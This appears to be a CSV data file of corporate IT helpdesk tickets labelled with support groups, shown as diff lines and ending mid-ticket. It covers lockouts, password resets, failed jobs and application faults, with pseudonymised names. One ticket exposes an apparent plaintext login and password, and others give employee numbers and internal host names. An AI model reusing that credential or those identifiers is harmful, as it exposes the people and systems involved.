+"emea files not processed as per schedule - check & let us know the reasons.; please include mail notification. hi pradtheyp,_x000D_ +_x000D_ +we have not received the production feed files for emea today. please check from your end and re-send the files to us._x000D_ +_x000D_ +also, we would like to know whether it will be possible that an automatic notification is sent to the concerned people in case the extraction programdnty fails._x000D_ +_x000D_ +_x000D_ +",GRP_71 +purchasing mdm import manager did not work correctly mapping was not possible anymore,GRP_29 +"unable to open sales orders attachments - save abap reports and can't view desktop attachments through erp issue 1 - after erp update on 8.8.2016 (a system prompt, to fix the issue of SID_55 & SID_50 log on) i am unable to open/view sales order outlook email attachments (refer attachment download error) in va02,va03 and as per error if out look is closed & try to open the attachment, system is prompting to install outlook 2010(refer outlook installation prompt) _x000D_ +_x000D_ +issue 2 - excel file downloaded after running abap query, i am unable to save or save to computer._x000D_ +_x000D_ +issue 3 - unable to view files saved on desktops to attaché them to sales order in va02/va03",GRP_0 +unable to send or receive email unable to send or receive email ,GRP_0 +"wg: [ticket#2016080878000153] wg: po#4505612440 _x000D_ +_x000D_ +received from: tvmlrwkz.rsxftjep@gmail.com_x000D_ +_x000D_ +hallo zusammen,_x000D_ +_x000D_ +siehe nachstehenden email schriftverkehr, bitte scghhnellstens beheben._x000D_ +danke._x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_32 +"not able to access attendance_tool application - ticket reference ticket_no0428293 name:aryndruh +language: +browser:microsoft internet explorer +email:wjbtlxry.gdbqzjyw@gmail.com +customer number: +telephone:+91 +summary:not able to access attendance_tool application - ticket reference ticket_no1539304 +",GRP_0 +"bios einstellung bitte an wzs 60 (wza, m14, m12.18990) bios so ändern das nach netz reset der rechner selbstständig startet. +bitte um erledigung durch m. himghtmelreich.",GRP_33 +"networking issue at customer site _x000D_ +_x000D_ +received from: vkzwibco.pueyvhoi@gmail.com_x000D_ +_x000D_ +dear ms. ragsbdhryu,_x000D_ +_x000D_ +in-line with our telephonic conversation, please find below the following details_x000D_ +_x000D_ +_x000D_ +1) there are two computers – machine pc and a laptop_x000D_ +_x000D_ +2) these two are connected using a lan cable_x000D_ +_x000D_ +3) the name of the laptop is visible in the 'my networks' page of machine pc_x000D_ +_x000D_ +4) but, the name of the machine pc is not visible in the network of the laptop_x000D_ +_x000D_ +5) we are unable to set the domain name and workgroup in settings of control panel_x000D_ +_x000D_ +_x000D_ +please sort this out on priority._x000D_ +_x000D_ +",GRP_19 +call routing to german support agents call routing to german support agents was fixed once the workgroup was added and percent allocated,GRP_7 +"frequent account lockouts frequent account lockouts +contact no:- +chg1144616 +ctask0026859",GRP_0 +windows account locked windows account locked ,GRP_0 +"abended job in job_scheduler: Job_1142 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1142 at 08/09/16 00:07:26",GRP_9 +"internet explorer _x000D_ +_x000D_ +received from: peojqgvm.qayeptuo@gmail.com_x000D_ +_x000D_ +i need help installing the lauacyltoe hxgaycze internet explorer._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_34 + +enter user id of user having the issue: user hghjnlabel in locked we needs to release user or reset password + +transaction code(s) the user needs or was working with: + +describe the issue: + +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket. + +provide access the same as this other user:",GRP_2 +"abended job in job_scheduler: Job_549 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_549 at 08/08/16 23:22:25",GRP_8 +"abended job in job_scheduler: bkwin_search_server_prod_daily received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bkwin_search_server_prod_daily at 08/08/16 23:16:25",GRP_8 +"abended job in job_scheduler: SID_50filesys received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_50filesys at 08/08/16 23:03:25",GRP_8 +"abended job in job_scheduler: Job_1305 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1305 at 08/08/16 22:43:25",GRP_9 +unable to login to skype unable to login to skype ,GRP_0 +"need to upgrade the outlook name:dehnfyru +language: +browser:microsoft internet explorer +email:uvjpaeli.bnphqsxr@gmail.com +customer number: +telephone: +summary:need to upgrade the outlook 2013",GRP_27 +company\orshop_floor_app locked out for too many tries of wrong password multiple computers use the same log in. company\orshop_floor_app locked out,GRP_0 +" Job_2049e:was running longer than 30 minutes,kirtyled and rerun received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2049e at 08/08/16 22:00:26",GRP_6 +"delete sto 5018072616 & 5018966647 from: johthryugftyson hu _x000D_ +sent: tuesday, august 09, 2016 6:16 am_x000D_ +to: nwfodmhc exurcwkm_x000D_ +cc: qgrbnjiu hidzlfma_x000D_ +subject: fw: delete sto 5018072616 & 5018966647 _x000D_ +_x000D_ +it help,_x000D_ +_x000D_ +we need delete both sto 5018072616 & 5018966647 , but get same error message as screen below._x000D_ +_x000D_ +now we block them to avoid unnessary dn to be created._x000D_ +_x000D_ +please help check how we can delete them, ",GRP_18 +"ticket update for pmqansex nvihmbwc from: rakthyesh ramdntythanjesh +sent: tuesday, august 09, 2016 6:02 am +to: ugyothfz ugrmkdhx +cc: pmqansex nvihmbwc +subject: ticket_no1520236-create email account for employee gzwasqoc gadisyxr + +good morning safrgyynjit, + +user called to service desk and requested to expedite the issue, kindly take this request on priority and assist user. + +kind ",GRP_0 +inquiry on etime login inquiry on etime login,GRP_0 +shop floor pc locked : coshopfloor3 shop floor pc locked : coshopfloor3,GRP_0 +symantec endpoint encryption page-unable to login symantec endpoint encryption page-unable to login,GRP_0 +"abended job in job_scheduler: Job_1320 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1320 at 08/08/16 19:46:28",GRP_9 +"abended job in job_scheduler: bkwin_HostName_768_inc received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bkwin_HostName_768_inc at 08/08/16 19:29:27",GRP_5 +"multiple processes are showing down on HostName_1288-hana-SID_59 since 7:05 pm on 08/08 et multiple processes are showing down on HostName_1288-hana-SID_59 since 7:05 pm on 08/08 et_x000D_ +process hdbnameserver is not running_x000D_ +process hdbxsengine is not running_x000D_ +process hdbpreprocessor is not running_x000D_ +process hdbcompileserve is not running_x000D_ +process hdbindexserver is not running_x000D_ +process hdb.erpSID_59_hdb0 is not running_x000D_ +",GRP_14 +"zdis discounts do not appear zdis discounts are not applying and should be. zdis isn't even showing as a condition and should be. this is causing incorrect sales orders and orders to be placed on hold. _x000D_ +please see the following sales orders. _x000D_ +35892987. _x000D_ +35891192 items 20 and 50-80. _x000D_ +quote 3116213902 items 20 & 40.",GRP_13 +"us25- dedicated hr_tool clock in for hourly employees + +received from: wvngzrca.sfmrzdth@gmail.com + +please add the appropriate options for the following hourly employees who have dedicated computers to clock ""in"" and ""out"" with hr_tool at their desks and laptops: + +us25 -zjihgovn cqxahony 33288 +us25 -dpuifqeo eglwsfkn 27125 +us25 -ihlsmzdn cnhqgzwt 27230 +us25-ewgihcnz vdjqoeip 62605 +us25 -moxnqszg zgdckste 63856 +us25 -bghrbie crhyley 27164 + + + + +if i may be of further assistance please feel free to contact me at any time. + + +wvngzrca sfmrzdth, phr +human resources manager +us_plant/usa, nc +wvngzrca.sfmrzdth@gmail.com + + + + +",GRP_0 +"access needed to vmsliazh ltksxmyv in us_plant. + +received from: umzcxfah.aoshpjiu@gmail.com + +user debtgyrur had access to the us_plant vmsliazh ltksxmyv HostName_1262 to do downloads fzwxitmen jwvuasft daily. today that access seems to be broken. please restore aerp. i am usaing whatever approvals are required to restore this connection immediately. it is causing a shutdown to the production process and needs to be immediately addressed. + +",GRP_1 +windows password reset windows password reset,GRP_0 +user wanted to check if there are discounts on microsoft products. user wanted to check if there are discounts on microsoft products.,GRP_0 +"hr_tool e time issue hr_tool e time issue + + +name:wvngzrca sfmrzdth +language: +browser:microsoft internet explorer +email:wvngzrca.sfmrzdth@gmail.com +customer number: +telephone: +summary:do i request e-time computer access from it? for team members who are assigned a computer?",GRP_0 +"Job_1953d was running longer than 30 minutes kirtyled and rerun received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1953d at 08/08/16 16:20:26",GRP_6 +contract management employee publication_p2016-07-24-16-00-04 contract management employee publication_p2016-07-24-16-00-04,GRP_9 +collaboration_platform is asking me to login at each page. please assist with keeping my account logged in.,GRP_0 +HostName_1178 : the status on HostName_1178.company.com.status is not as expected (3 (red)) HostName_1178 : the status on HostName_1178.company.com.status is not as expected (3 (red)),GRP_12 +xp pc in lab hooked to microscope gets a bsod on login. xp pc in lab hooked to microscope gets a bsod on login.,GRP_3 +" the terminate action for johthryu chmielewski has completed. from: rlgmiuwt dfpqxbgm [mailto:system@hr_tool.com] +sent: monday, august 08, 2016 8:04 pm +to: nwfodmhc exurcwkm +subject: amar - the terminate action for johthryu chmielewski has completed. + +hello , + +a termination for johthryu chmielewski, 1156177031, effective 08/05/2016 has been approved. + +click the link to view. + +",GRP_2 +unable to map a printer unable to map a printer,GRP_0 +reset password for cnljsmat.ocxjvdnz@gmail.com reset password for cnljsmat.ocxjvdnz@gmail.com,GRP_0 +erp-powder interface not working erp-powder interface not working. ,GRP_45 +"change erp printer please change my erp printer (hrp- hcm production) to usa fm0006._x000D_ +",GRP_0 +unable to see crm add-in in outlook unable to see crm add-in in outlook,GRP_0 +"having trouble with my password accessing the portal. name:upajtkbn wzyspovl +language: +browser:microsoft internet explorer +email:upajtkbn.wzyspovl@gmail.com +customer number: +telephone: +summary:having trouble with my password accessing the portal.",GRP_0 +unable to connect to outlook. microsoft outlook - all morning it shows either trying to connect or gives me an error about not being able to connect to the server. i have emails from this morning still sitting in my outbox that i cannot get to send. and no new emails coming in. i have rebooted outlook twice and my whole system once with no success.,GRP_0 +"outlook calendar _x000D_ +_x000D_ +received from: opzuciql.muedfkhz@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +my outlook calendar shows ""no information"" when someone tries to schedule a meeting with me using the scheduling assistant. how can i fix that?_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +unable to save attachments from business_client unable to save attachments from business_client,GRP_0 +windows password reset windows password reset,GRP_0 +"unable to login to one time +name:wvngzrca sfmrzdth +language: +browser:microsoft internet explorer +email:wvngzrca.sfmrzdth@gmail.com +customer number: +telephone: +summary:i have had and still have issues with sf loading. it is just a white page. can you advise? +",GRP_0 +vmax disk failed on df-8b-c the monitor is the disk failed? on df-8b-c-0/000192604484/localhost is outside expected limits (true = true),GRP_8 +"rounding concerns for mexico. please assign ticket to rabhtuikurtyar tammineni znet should not be applied to zcnc, zcnp or manual condition for 1108.",GRP_13 +account locked out : trust relationship issue account locked out : trust relationship issue ,GRP_0 +engineering tool system not able to enter customer details in engineering_tool system,GRP_0 +unable to hear any audio from skype unable to hear any audio from skype,GRP_26 +"mii is not responding:orders can not be scanned out, system is locking up, or giving error (see below) there was a technical error.
please try again.
if the problem persists please notify an administrator
error:the following error occured while processing the request :[object object] status: error error: internal server error_x000D_ +_x000D_ +operator have rebooted computer multiple times. karghyuen ",GRP_41 +password reset and login issues in collaboration_platform. password reset and login issues in collaboration_platform.,GRP_0 +"employee's password for etime is not working please issue new password for etime access for employee gyweclbt oahmgpfy, ee#636130 aerp.",GRP_0 +"release of device _x000D_ +_x000D_ +received from: qpixeudn.rjlziysd@gmail.com_x000D_ +_x000D_ +please release this device from quarantine_x000D_ +_x000D_ +from: microsoft outlook_x000D_ +sent: monday, august 8, 2016 11:20 am_x000D_ +to: qpixeudn rjlziysd _x000D_ +subject: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it access._x000D_ +_x000D_ +_x000D_ +your mobile device is temporarily blocked from accessing content via exchange activesync because the mobile device has been quarantined. you don't need to take any action. content will automatically be downloaded as soon as access is usaed by your administrator._x000D_ +_x000D_ +please ignore the above paragraph. we cannot change it or delete it._x000D_ +_x000D_ +special note 30-jan-2015: the microsoft outlook app for ios and android released yesterday is not currently approved software for accessing company e-mail. until it is uacyltoe hxgayczeed and approved, please consider using one of the other (1) the embedded e-mail software in your mobile device (2) the browser on your mobile device or (3) the microsoft owa app published for your mobile device platform._x000D_ +_x000D_ +beginning 01-mar-2012 employees, with supervisor approval, may use personally owned mobile devices to access outlook email. company is moving forward and providing the opportstorage_product for our employees to use specified personally owned devices to allow for productivity improvement and enable work-life balance. this is an addition to the policy for company owned devices._x000D_ +_x000D_ +currently approved handheld devices can be found in this policy:_x000D_ +_x000D_ +wireless mobility technical document <_x000D_ +_x000D_ +the above policy will be updated as other devices are approved for use._x000D_ +_x000D_ +if you own an approved device and would like to take advantage of this opportstorage_product you can submit a ticketing_tool ticket <""https:/company.ticketing_tool.com/incident.do?sysparm_stack=incident_list.do&sys_id=-1&sysparm_query=incident.do?sys_id=-1&sysparm_template=mobile> to the it global support center (gsc). if it is a personally owned device, you need to attach the agreement form found in the wireless mobility standard procedure. this agreement must be signed by you and your next level supervisor and provided to the gsc prior to a ticket being entered. you can attach the signed form to the ticket or send the signed form to the gsc and they will attach it._x000D_ +_x000D_ +any ticket without the signed form will be cancelled. you have 2 weeks to process and submit the form before your device will be denied (deleted from quarantine)._x000D_ +_x000D_ +wireless mobility standard procedure <_x000D_ +_x000D_ +information about your mobile device:_x000D_ +device model:_x000D_ +_x000D_ +iphone8c1_x000D_ +_x000D_ +device type:_x000D_ +_x000D_ +iphone_x000D_ +_x000D_ +device id:_x000D_ +_x000D_ +r6ufpmv1sd4uSID_7839t39l7gfkk_x000D_ +_x000D_ +device os:_x000D_ +_x000D_ +ios 9.3.3 13g34_x000D_ +_x000D_ +device user agent:_x000D_ +_x000D_ +apple-iphone8c1/1307.34_x000D_ +_x000D_ +device imei:_x000D_ +_x000D_ +exchange activesync version:_x000D_ +_x000D_ +16.0_x000D_ +_x000D_ +device access state:_x000D_ +_x000D_ +quarantined_x000D_ +_x000D_ +device access state reason:_x000D_ +_x000D_ +global_x000D_ +_x000D_ +_x000D_ +sent at 8/8/2016 3:20:18 pm to qpixeudn.rjlziysd@gmail.com._x000D_ +_x000D_ +_x000D_ +",GRP_0 +unable to login to outlook and skype unable to login to outlook and skype,GRP_0 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_34_x000D_ +_x000D_ +enter user id of user having the issue: mitctdrhb_x000D_ +_x000D_ +transaction code(s) the user needs or was working with:logon_x000D_ +_x000D_ +describe the issue: changed password using password manager, unable to log into erp_x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +"ess password reset request misplaced password, ad password reset needed",GRP_0 +"unlock account email in cell phone the user ricagthyr doflefne id:noggtyuerp hello team,_x000D_ +_x000D_ +could you please unlock account email in cell phone the user ptgwfymc.mchpwvgf@gmail.com id:noggtyuerp_x000D_ +_x000D_ +",GRP_0 +"skype im not logging in stuck at logging in._x000D_ +personal certificate error",GRP_27 +"issue while connecting though telecom_vendor_3 gprs sim _x000D_ +_x000D_ +received from: cgqjxtkf.soewtuvf@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am facing an issue while connecting telecom_vendor_3 gprs network._x000D_ +pl look into the same._x000D_ +_x000D_ +",GRP_0 +"reset the password for on erp / production / hcm locked out of erp SID_34 not set up in password_management_tool getting an error unable to find account for user ginemkl when logging into password_management_tool. _x000D_ +_x000D_ +please notify wptbgchj jutpdcqf once account is unlocked_x000D_ +_x000D_ +_x000D_ +_x000D_ + ",GRP_0 +reset passwords for kevguind l gineman using password_management_tool password reset. the,GRP_17 +"goods receipt issue hello, on po5616641196 the po was created for 10 rolls of paper with a price of £19.36 each. this price has not been changed in the purchase order but the goods receipt has been booked in for a total amount of £367.84. i have asked about this with the uk warehouse and they are not sure it's possible to goods receipt at a different value. can you see what has caused this? ",GRP_29 +"abended job in job_scheduler: Job_2021b received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2021b at 08/08/16 10:10:27",GRP_6 +job qeue from the engg application stopped the job qeue processor of the engg stopped and needs to be restarted. please forward to the engg group.,GRP_58 +windows account locked out windows account locked out,GRP_0 +my docking station is not charging my computer i've checked all the plugs and it's still not charging my computer.,GRP_0 +issues with lean tracker issues with lean tracker,GRP_27 +password reset password reset,GRP_0 +unable to launch outlook after changing the password unable to launch outlook after changing the password,GRP_0 +"unlock csvlijud jzhnkclo unlock csvlijud jzhnkclo +pc name : rrsp04479 +contact name : +user id ; +.\administrator +",GRP_3 +unable to login to windows // account locked unable to login to windows // account locked,GRP_0 +"unable to log into hr_tool i get directed to a hr_tool logon page instead of directly getting authenticated with sso._x000D_ +see attachments _x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"i cannot make a skype meeting, every time it errors out stating that skype is not running. i cannot make a skype meeting, every time it errors out stating that skype is not running.",GRP_3 +shagfferon called to reset password for user :bregtnnl shagfferon called to reset password for user :bregtnnl,GRP_0 +reset the password for robhyertyj l shipping_tool on erp / production / bw i have not used this in quite awhile and it will not let me in with my current password.,GRP_0 +browser issue : collaboration_platform not loading browser issue : collaboration_platform not loading ,GRP_0 +erp SID_34 password reset erp SID_34 password reset,GRP_0 +"circuit outage: vogelfontein, south africa mpls circuit is down at 8:14 am et on 08/08 what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? __________8:14 am et on 08/08____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _____yes_ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"access to vpn : user id : wijuiidl computer name ; lehl8516849_x000D_ +access to vpn ",GRP_34 +unable to login to skype unable to login to skype,GRP_0 +bex patch installation bex patch installation ,GRP_0 +supply_chain_software login issue supply_chain_software login issue ,GRP_0 +ingreso a business_client no puedo ingresar a business_client con mi contraseña.,GRP_0 +need replacement monitor for coatncqulao qauighdpchine. need replacement monitor for coatncqulao qauighdpchine.,GRP_3 +item numbers issue with the inwarehouse_tool forms for israel item numbers issue with the inwarehouse_tool forms for israel.,GRP_20 +bqdlegnp lnphmsco's password has expired. please call him at please call bqdlegnp lnphmsco at to update his password. he cannot login to anything.,GRP_0 +general enquiry general enquiry,GRP_0 +"time recording is not working + +EU_tool - unable to connect to server. time recording in EU_tool does not work. EU_tool is installed on the user's pc. + +telefon:",GRP_24 +"network problems (multiple applications are running slow) my home location is usa. whenever i come to us_plant, and connect to the network, my pc runs estorage_productly slow. all programdntys are slow._x000D_ +_x000D_ +how did you determine there are network problems ?_x000D_ +_x000D_ +is only erp slow ? (please use the quick ticket within the erp folder if only erp is running slow)_x000D_ +_x000D_ +are more than one transactions impacted?_x000D_ +_x000D_ +what erp server are you on (server name is located in the status bar at the bottom _x000D_ +right of your screen) ?_x000D_ +_x000D_ +do other co-workers also notice slow response times in erp ?_x000D_ +_x000D_ +what other applications are running slow ? _x000D_ +_x000D_ +can you access your data files on the server ?_x000D_ +_x000D_ +any other comments or issues with other systems ?",GRP_0 +oneteam sso not working i'm unable to log in to hr_tool/oneteam through the sso portal on the hub. whenever i click on the oneteam link in the portal i'm taken to a login screen instead of being logged directly into the system. i have tried clearing my browser cache and i've tried logging in using both ie and firefox. ,GRP_73 +company center does not show org 1101 after i changed my password i just changed my password and now my company center account does not show the option to choose 1101 in the sales org. login info: bfrgtonersp au45gdec22,GRP_0 +"HostName_184- average (1 samples) disk free on /nfsbackup is now 2%, which is below the error threshold (5%) HostName_184- disk free on /nfsbackup is now 2%, which is below the error threshold (5%) out of total size 7000.0 gb",GRP_14 +install pdf-mailer \kebogxzp difnjlkp install pdf-mailer \kebogxzp difnjlkp,GRP_24 +"reset the password for couskjgd uzojtkmh on windows login hi, +please unlock sebfghkasthian's account. (couskjgd uzojtkmh - wirftejas - couskjgd.uzojtkmh@gmail.com) +",GRP_0 +"reset passwords for couskjgd uzojtkmh using password_management_tool password reset. hi, _x000D_ +please unlock sebfghkasthian's (wiejas couskjgd.uzojtkmh@gmail.com) account._x000D_ +",GRP_17 +probleme mit rechner ewew8323531 \defekte fp sektoren \xosdfhbu gtbfkisl probleme mit rechner ewew8323531 \defekte fp sektoren \xosdfhbu gtbfkisl,GRP_24 +"requester: oqxdecus encxjoawjr: can you put usa-shop sw06 port23 on the vlan50? i'm trying to get a machine on the netwo _x000D_ +_x000D_ +received from: sthyuraj.sektyhar@company.com_x000D_ +_x000D_ +hi suraj. can you put usa-shop sw06 port23 on the vlan50? i'm trying to get a machine on the network._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_4 +"unable to open collaboration_platform name:betshdy +language: +browser:microsoft internet explorer +email:zxvjsipd.jbzmgyvd@gmail.com +customer number: +telephone: +summary:i cannot get collaboration_platform to open. it just sits and spins.",GRP_0 +"vip 2 - incorrect language in automated email message i received 2 emails (attached) for taking over a collaboration_platform for an employee who is no longer working at company._x000D_ +1 message was in german, the other is portuguese (i think).",GRP_16 +email delegation issues with nqtjsbad.jfxeoudc@gmail.com mailbox email delegation issues with nqtjsbad.jfxeoudc@gmail.com mailbox,GRP_26 +"urgent : need access to all roanoke drives for new machine user for mii implementation today +received from: umzcxfah.aoshpjiu@gmail.com + +all machines in roanoke have been changed to user login ""roaghyunokepc"" full access. + +please add this user to all lrrsm03\departments aerp. production is down. + +umzcxfah aoshpjiu +plant controller, us_plant +umzcxfah.aoshpjiu@gmail.com + +",GRP_12 +"erp output screen issue. _x000D_ +_x000D_ +received from: esaqztby.mhnbqiyc@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +kindly look into below snap, erp output screen enable to show details in proper arrangement , is there any issue in erp network._x000D_ +_x000D_ +[cid:image001.jpg@01d1f19b.92b3d920]_x000D_ +_x000D_ +best ",GRP_0 +rds server germany not reachable for thinclients (HostName_584) after reboot of the serverteam my thinclients are not able to connect to the rds server (HostName_584),GRP_12 +"single/sign on for hr_tool oneteam is not working _x000D_ +_x000D_ +received from: jegpvyrh.kasnhdrb@gmail.com_x000D_ +_x000D_ +single/sign on for hr_tool oneteam is not working_x000D_ +please see screen below._x000D_ +_x000D_ +[cid:image001.png@01d1f181.a1f8SID_310]_x000D_ +_x000D_ +_x000D_ +",GRP_0 +erp SID_34 zdsxmcwu thdjzolwronization issue erp SID_34 zdsxmcwu thdjzolwronization issue ,GRP_0 +"ethics access _x000D_ +_x000D_ +received from: jegpvyrh.kasnhdrb@gmail.com_x000D_ +_x000D_ +team,_x000D_ +i would like to complete ethics._x000D_ +i ask you to usa access._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_23 +"problem with EU_tool hello altogether_x000D_ +_x000D_ +we have problems with our EU_tool._x000D_ +please open zuteillisten>>>plant_110 >>>>hartbearbeitung>>>>>kantenverrunden>>>>sammelarbpl_x000D_ +_x000D_ +then you see this window:_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +in the past when we do a doubleklick on eps we could see in a new window our point of measurement for this inserts. but now this function is out of service. _x000D_ + _x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +password reset request. password reset request.,GRP_0 +"problem with EU_tool _x000D_ +_x000D_ +received from: mstnjfai.xcobykhl@gmail.com_x000D_ +_x000D_ +hello altogether_x000D_ +_x000D_ +we have problems with our EU_tool._x000D_ +please open zuteillisten>>>plant_110 >>>>hartbearbeitung>>>>>kantenverrunden>>>>sammelarbpl_x000D_ +_x000D_ +then you see this window:_x000D_ +[cid:image005.png@01d1f173.087ba8f0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +in the past when we do a doubleklick on eps we could see in a new window our point of measurement for this inserts. but now this function is out of service._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_25 +"guest wifi access request + +received from: wchidyuk.shqbfpuy@gmail.com + +hi, + +following are the details of guest visiting company india from tomorrow and request you to provigjtyswkb dpvaymxrest wifi access. + +sl.no. + +guest first name + +guest last name + +guest email-id + +location + +company sponsor email-id + +access required till (date) + +1 + +sadiertpta + +palffs + +sadiertpta.palffs@partner.com + +india + +yhmwxsqj.ugnthxky@gmail.com + +08/12/2016 + +2 + +rohitdrf + +stahyru + +rohitdrf.stahyru8@partner.com + +india + +yhmwxsqj.ugnthxky@gmail.com + +09/09/2016 + +3 + +vikrhtyas kurtyar + +gurpthy + +vikrhtyaskurtyar .gurpthy@partner.com + +india + +yhmwxsqj.ugnthxky@gmail.com + +09/09/2016 + + + +with ",GRP_0 +"SID_1 access _x000D_ +_x000D_ +received from: rgtarthi.erjgypa@company.com_x000D_ +_x000D_ +hello help,_x000D_ +_x000D_ +my access to SID_1 seems to be not working._x000D_ +_x000D_ +please enable & confirm. ",GRP_0 +"open order kart issues - distributor_tool in the distributor_tool production system, the oprn carts are not displaying any carrier information._x000D_ +_x000D_ +please check and fix the issue urgently.",GRP_21 +mii not working mii at usa is estorage_productly slow and errors out,GRP_41 +"ethics login issue hello, _x000D_ +would you please support?_x000D_ +''welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp''",GRP_0 +no boot : 7350 no boot : 7350 ,GRP_0 +"ticketing_tool queries +summary:ticketing_tool change i have changed the status to closed cancelled instead of closed complete. how to revert the change?",GRP_0 +"in the dob report - there is no option to subscribe to the reprot to receive it daily in your mail the dob report_x000D_ +#/site/certified_content/views/dailyorderbillingreport/day?:iid=1_x000D_ +needs to have a subscribe option _x000D_ +i cannot see it on the screen_x000D_ +",GRP_9 +"attendance_tool password rest + +received from: kugwsrjz.xnygwtle@gmail.com + +please reset my attendance_tool password as i forgot. + +username: 20341722 + +gurhyqsath j +india met +kugwsrjz.xnygwtle@gmail.com +",GRP_0 +"reporting_tool application sending multiple emails via smtp : hqap100.company.com hi ramdnty,_x000D_ +as discussed, we send emails (also called subscriptions) out of reporting_tool application on a daily basis._x000D_ +the smtp server has remained the same for last 2 years. _x000D_ +since 29th july, the users are receiving duplicate emails. for example, see attached the duplicate emails i have been receiving daily._x000D_ +one more thing to note is that reporting_tool maintains a count of emails sent per day but the count has not doubled indicating that smtp server seems to be processing it twice instead of reporting_tool sending them multiple times._x000D_ +smtp server : hqap100.company.com_x000D_ +the issue has been escalate to higher management. _x000D_ +greatly appreciate if you could look into this as the earliest. let me know if you need more details._x000D_ +_x000D_ +",GRP_26 +"vvdortddp + +received from: aksthyuhath.shettythruy@company.com + +hi, + +below mentioned employee is unable to login ess portal. please reset the password. + +emp no + +name + +useid + +202845583 + +yaxmwdth xsfgitmq + +vvdortddp + + +fyi. + +[cid:image001.png@01d1f185.546032b0] + +with ",GRP_0 +"audio not working audio not working _x000D_ +computer model-dell precision m4800_x000D_ + name-awyl8912226_x000D_ +",GRP_19 +"vendor drawing access is not working - no vendor can access data anymore vendor_access isn't working (external website) no vendor can access drawings or model. situation get critical and causes delays in customer orders. all vendors are affected._x000D_ +error message : unable to read document information from erp (see attachment)",GRP_25 +"investment antrag mnakehrf mvunqihf - new laptop request - mnakehrf mvunqihf _x000D_ +_x000D_ +received from: jywvemun.qngschtz@gmail.com_x000D_ +_x000D_ +team, anbei ein investmentantrag für einen neuen rechner/laptop für mnakehrf mvunqihf_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_28 +"abended job in job_scheduler: Job_3181 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_3181 at 08/08/16 05:01:29",GRP_8 +"stepfhryhan needs access to below collaboration_platform links. stepfhryhan needs access to below collaboration_platform links. + +urlaubsplanung (file://efdl9221150/users/linnes/collaboration_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/urlaubsplanung) +3p pläne (file://efdl9221150/users/linnes/collaboration_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/3p%20pl%e4ne) + +allgemeines (file://efdl9221150/users/linnes/collaboration_platform%20-%20company%20inc-/fy16%20teamordner%20linnemann/allgemeines) +berirtchtswesen gebiet nord 